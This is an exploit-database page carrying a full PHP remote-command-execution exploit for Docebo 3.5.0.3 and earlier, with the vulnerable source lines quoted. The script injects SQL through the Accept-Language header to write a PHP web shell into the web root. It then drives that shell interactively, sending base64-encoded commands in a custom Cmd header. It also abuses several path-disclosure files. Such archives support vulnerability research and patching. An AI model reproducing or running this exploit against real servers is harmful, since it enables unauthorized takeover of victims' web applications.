Lucene search
K

Docebo <= 3.5.0.3 (lib.regset.php) Command Execution Exploit

🗓️ 10 Jan 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Docebo <= 3.5.0.3 (lib.regset.php) Command Execution Exploit. Remote command execution exploit in Docebo version 3.5.0.3 through lib.regset.php with autoDetectRegion() function vulnerable to SQL injection and path disclosure vulnerability in various files

Code

                                                &lt;?

/*
	-------------------------------------------------------------------
	Docebo&nbsp;&lt;=&nbsp;3.5.0.3&nbsp;(lib.regset.php)&nbsp;Remote&nbsp;Command&nbsp;Execution&nbsp;Exploit
	-------------------------------------------------------------------
	
	author...:&nbsp;EgiX
	mail.....:&nbsp;n0b0d13s[at]gmail[dot]com
	
	link.....:&nbsp;http://www.docebo.org/
	details..:&nbsp;works&nbsp;with&nbsp;magic_quotes_gpc&nbsp;=&nbsp;off&nbsp;(if&nbsp;magic&nbsp;quotes&nbsp;affects&nbsp;also&nbsp;$_SERVER[]&nbsp;array)

	[-]&nbsp;autoDetectRegion()&nbsp;function&nbsp;vulnerable&nbsp;to&nbsp;SQL&nbsp;injection&nbsp;in&nbsp;/doceboCore/lib/lib.regset.php

	781.	function&nbsp;autoDetectRegion()&nbsp;{
	782.		
	783.		if(!isset($_SERVER[&quot;HTTP_ACCEPT_LANGUAGE&quot;]))&nbsp;{
	784.			$res=0;
	785.			return&nbsp;$res;
	786.		}
	787.		$accept_language=$_SERVER[&quot;HTTP_ACCEPT_LANGUAGE&quot;];
	788.		//&nbsp;[TODO]&nbsp;move&nbsp;the&nbsp;code&nbsp;that&nbsp;makes&nbsp;the&nbsp;accept&nbsp;language&nbsp;array&nbsp;to&nbsp;lib.utils
	789.
	790.		$al_arr=explode(&quot;,&quot;,&nbsp;$accept_language);
	791.
	792.		$i=0;
	793.		$res=&quot;&quot;;
	794.		while(($res&nbsp;==&nbsp;&quot;&quot;)&nbsp;&amp;&amp;&nbsp;($i&nbsp;&lt;&nbsp;count($al_arr)))&nbsp;{
	795.
	796.			$bl_arr=explode(&quot;;&quot;,&nbsp;$al_arr[$i]);
	797.			$browser_language=$bl_arr[0];
	798.
	799.			$qtxt=&quot;SELECT&nbsp;region_id&nbsp;FROM&nbsp;&quot;.$this-&gt;_getListTable().&quot;&nbsp;WHERE&nbsp;browsercode&nbsp;LIKE&nbsp;'%&quot;.$browser_language.&quot;%'&quot;;&nbsp;&lt;==
	800.			$q=$this-&gt;_executeQuery($qtxt);
	801.
	802.			if&nbsp;(($q)&nbsp;&amp;&amp;&nbsp;(mysql_num_rows($q)&nbsp;&gt;&nbsp;0))&nbsp;{
	803.				$row=mysql_fetch_array($q);
	804.				$res=$row[&quot;region_id&quot;];
	805.			}

	an&nbsp;attacker&nbsp;cuold&nbsp;be&nbsp;inject&nbsp;SQL&nbsp;code&nbsp;through&nbsp;http&nbsp;accept-language&nbsp;header&nbsp;(in&nbsp;the&nbsp;query&nbsp;at&nbsp;line&nbsp;799),&nbsp;but&nbsp;explode()&nbsp;function&nbsp;at
	line&nbsp;790&nbsp;will&nbsp;split&nbsp;the&nbsp;injected&nbsp;code&nbsp;by&nbsp;comma&nbsp;(&quot;,&quot;),&nbsp;so&nbsp;isn't&nbsp;possible&nbsp;even&nbsp;a&nbsp;blind&nbsp;SQL&nbsp;injection&nbsp;with&nbsp;BENCHMARK()&nbsp;method...
	this&nbsp;poc&nbsp;will&nbsp;try&nbsp;to&nbsp;inject&nbsp;some&nbsp;php&nbsp;code&nbsp;into&nbsp;docebo&nbsp;web&nbsp;directory&nbsp;by&nbsp;INTO&nbsp;DUMPFILE&nbsp;statement,&nbsp;this&nbsp;requires&nbsp;FILE&nbsp;privilege!

	[-]&nbsp;Path&nbsp;disclosure&nbsp;at:
	
	/doceboCore/class/class.conf_fw.php
	/doceboCore/class.module/class.event_manager.php
	/doceboCore/lib/lib.domxml5.php
	/doceboCore/menu/menu_over.php
	/doceboCms/class/class.conf_cms.php
	/doceboCms/lib/lib.compose.php
	/doceboCms/modules/chat/teleskill.php
	/doceboCms/class/class.admin_menu_cms.php
*/

error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;,&nbsp;5);

function&nbsp;http_send($host,&nbsp;$packet)
{
	$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
	while&nbsp;(!$sock)
	{
		print&nbsp;&quot;\n[-]&nbsp;No&nbsp;response&nbsp;from&nbsp;{$host}:80&nbsp;Trying&nbsp;again...\n&quot;;
		$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
	}
	fputs($sock,&nbsp;$packet);
	while&nbsp;(!feof($sock))&nbsp;$resp&nbsp;.=&nbsp;fread($sock,&nbsp;1);
	fclose($sock);
	return&nbsp;$resp;
}

function&nbsp;get_path()
{
	global&nbsp;$host,&nbsp;$path;
	
	$packet&nbsp;=&nbsp;&quot;GET&nbsp;{$path}../doceboCore/class/class.conf_fw.php&nbsp;HTTP/1.0\r\n&quot;;
	$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
	$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;

	preg_match(&quot;/in&nbsp;&lt;b&gt;(.*)&lt;\/b&gt;&nbsp;on/i&quot;,&nbsp;http_send($host,&nbsp;$packet),&nbsp;$found);
	$ret&nbsp;=&nbsp;substr($found[1],&nbsp;0,&nbsp;strlen($found[1])&nbsp;-&nbsp;strlen(strstr($found[1],&nbsp;&quot;docebo&quot;)));
	$ret.=&nbsp;substr($path,&nbsp;1);

	return&nbsp;$ret;
}

print&nbsp;&quot;\n+------------------------------------------------------------+&quot;;
print&nbsp;&quot;\n|&nbsp;Docebo&nbsp;&lt;=&nbsp;3.5.0.3&nbsp;Remote&nbsp;Command&nbsp;Execution&nbsp;Exploit&nbsp;by&nbsp;EgiX&nbsp;|&quot;;
print&nbsp;&quot;\n+------------------------------------------------------------+\n&quot;;

if&nbsp;($argc&nbsp;&lt;&nbsp;3)
{
	print&nbsp;&quot;\nUsage....:&nbsp;php&nbsp;$argv[0]&nbsp;host&nbsp;path\n&quot;;
	print&nbsp;&quot;\nhost.....:&nbsp;target&nbsp;server&nbsp;(ip/hostname)&quot;;
	print&nbsp;&quot;\npath.....:&nbsp;path&nbsp;to&nbsp;docebo&nbsp;directory\n&quot;;
	print&nbsp;&quot;\nExample..:&nbsp;php&nbsp;$argv[0]&nbsp;localhost&nbsp;/doceboCms/&quot;;
	print&nbsp;&quot;\nExample..:&nbsp;php&nbsp;$argv[0]&nbsp;localhost&nbsp;/docebo/doceboLms/\n&quot;;
	die();
}

$host&nbsp;=&nbsp;$argv[1];
$path&nbsp;=&nbsp;$argv[2];

$r_path	=&nbsp;str_replace(&quot;\\&quot;,&nbsp;&quot;/&quot;,&nbsp;get_path());&nbsp;//&nbsp;replace&nbsp;&quot;\&quot;&nbsp;for&nbsp;windows&nbsp;path
$r_file&nbsp;=&nbsp;md5(time()).&quot;.php&quot;;

print&nbsp;&quot;\n[-]&nbsp;Path&nbsp;disclosure:&nbsp;{$r_path}\n\n[-]&nbsp;Trying&nbsp;to&nbsp;inject&nbsp;php&nbsp;shell...\n&quot;;

$code	=&nbsp;&quot;&lt;?php&nbsp;\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)}&nbsp;?&gt;&quot;;
$packet&nbsp;=&nbsp;&quot;GET&nbsp;{$path}&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
$packet.=&nbsp;&quot;Accept-Language:&nbsp;%'/**/AND/**/1=0/**/UNION/**/SELECT/**/'{$code}'/**/INTO/**/DUMPFILE/**/'{$r_path}{$r_file}'/*\r\n&quot;;
$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$html	=&nbsp;http_send($host,&nbsp;$packet);

$packet&nbsp;=&nbsp;&quot;GET&nbsp;{$path}{$r_file}&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$html	=&nbsp;http_send($host,&nbsp;$packet);

if&nbsp;(!ereg(&quot;_code_&quot;,&nbsp;$html))&nbsp;die(&quot;\n[-]&nbsp;Exploit&nbsp;failed...\n&quot;);
else&nbsp;print&nbsp;&quot;[-]&nbsp;Shell&nbsp;injected!&nbsp;Starting&nbsp;it...\n&quot;;

define(STDIN,&nbsp;fopen(&quot;php://stdin&quot;,&nbsp;&quot;r&quot;));
while(1)
{
	print&nbsp;&quot;\nxpl0it-sh3ll&nbsp;&gt;&nbsp;&quot;;
	$cmd&nbsp;=&nbsp;trim(fgets(STDIN));
	if&nbsp;($cmd&nbsp;!=&nbsp;&quot;exit&quot;)
	{
		$packet&nbsp;&nbsp;=&nbsp;&quot;GET&nbsp;{$path}{$r_file}&nbsp;HTTP/1.0\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Cmd:&nbsp;&quot;.base64_encode($cmd).&quot;\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
		$html&nbsp;=&nbsp;http_send($host,&nbsp;$packet);
		if&nbsp;(!ereg(&quot;_code_&quot;,&nbsp;$html))&nbsp;die(&quot;\n[-]&nbsp;Exploit&nbsp;failed...\n&quot;);
		$shell&nbsp;=&nbsp;explode(&quot;_code_&quot;,&nbsp;$html);
		print&nbsp;&quot;\n&quot;.$shell[1];
	}
	else&nbsp;break;
}

?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation